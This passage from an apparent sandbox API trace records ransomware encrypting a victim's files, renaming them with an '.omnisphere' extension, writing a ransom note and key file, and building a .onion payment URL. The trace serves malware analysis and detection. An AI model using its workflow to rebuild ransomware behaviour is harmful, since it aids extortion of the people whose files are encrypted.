hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.693] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.694] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.695] CryptDestroyKey (hKey=0x1639568) returned 1 [0126.695] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0126.695] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3d3, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.695] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.695] GetProcessHeap () returned 0x1600000 [0126.695] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b8) returned 0x16ec3c8 [0126.695] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NvKrKIbFyZe_gOh.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nvkrkibfyze_goh.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NvKrKIbFyZe_gOh.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nvkrkibfyze_goh.lnk.omnisphere")) returned 1 [0126.696] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NvKrKIbFyZe_gOh.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NvKrKIbFyZe_gOh.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NvKrKIbFyZe_gOh.lnk.omnisphere.id" [0126.696] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NvKrKIbFyZe_gOh.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nvkrkibfyze_goh.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.697] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.698] CloseHandle (hObject=0x3c0) returned 1 [0126.698] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.698] CloseHandle (hObject=0x288) returned 1 [0126.698] SetEndOfFile (hFile=0x28c) returned 1 [0126.698] FlushFileBuffers (hFile=0x28c) returned 1 [0126.702] CloseHandle (hObject=0x28c) returned 1 [0126.702] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NvKrKIbFyZe_gOh.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.702] GetProcessHeap () returned 0x1600000 [0126.702] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ed038 [0126.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.702] GetProcessHeap () returned 0x1600000 [0126.702] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d55f0 [0126.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d55f0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.702] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.702] GetProcessHeap () returned 0x1600000 [0126.702] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7f68 [0126.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7f68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.703] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.703] GetProcessHeap () returned 0x1600000 [0126.703] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d8b50 [0126.703] PathCombineW (in: pszDest=0x16d8b50, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.703] GetProcessHeap () returned 0x1600000 [0126.703] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16ddbc8 [0126.703] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.703] WriteFile (in: hFile=0x28c, lpBuffer=0x16ddbc8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16ddbc8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.703] CloseHandle (hObject=0x28c) returned 1 [0126.704] GetProcessHeap () returned 0x1600000 [0126.704] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ed038 | out: hHeap=0x1600000) returned 1 [0126.704] GetProcessHeap () returned 0x1600000 [0126.704] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e838 [0126.704] PathCombineW (in: pszDest=0x162e838, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.704] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.704] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.704] CloseHandle (hObject=0x28c) returned 1 [0126.704] GetProcessHeap () returned 0x1600000 [0126.704] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e838 | out: hHeap=0x1600000) returned 1 [0126.704] GetProcessHeap () returned 0x1600000 [0126.704] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.705] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0f6f81, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f0f6f81, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1f0f6f81, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x445, dwReserved0=0x0, dwReserved1=0xd3, cFileName="o oGOvrjloOl-.lnk", cAlternateFileName="OOGOVR~1.LNK")) returned 1 [0126.705] GetProcessHeap () returned 0x1600000 [0126.705] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162cec8 [0126.705] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="o oGOvrjloOl-.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\o oGOvrjloOl-.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\o oGOvrjloOl-.lnk" [0126.705] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.705] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\o oGOvrjloOl-.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\o ogovrjlool-.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.705] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1093) returned 1 [0126.705] GetTickCount () returned 0x115f9ed [0126.705] GetTickCount () returned 0x115f9ed [0126.705] GetTickCount () returned 0x115f9ed [0126.705] GetTickCount () returned 0x115f9ed [0126.705] GetTickCount () returned 0x115f9ed [0126.705] GetTickCount () returned 0x115f9ed [0126.705] GetTickCount () returned 0x115f9ed [0126.705] GetTickCount () returned 0x115f9ed [0126.705] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] GetTickCount () returned 0x115f9ed [0126.706] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0126.707] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.707] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.707] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0126.707] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x445, lpName=0x0) returned 0x288 [0126.707] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x445) returned 0x1480000 [0126.708] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0126.708] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0126.709] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, 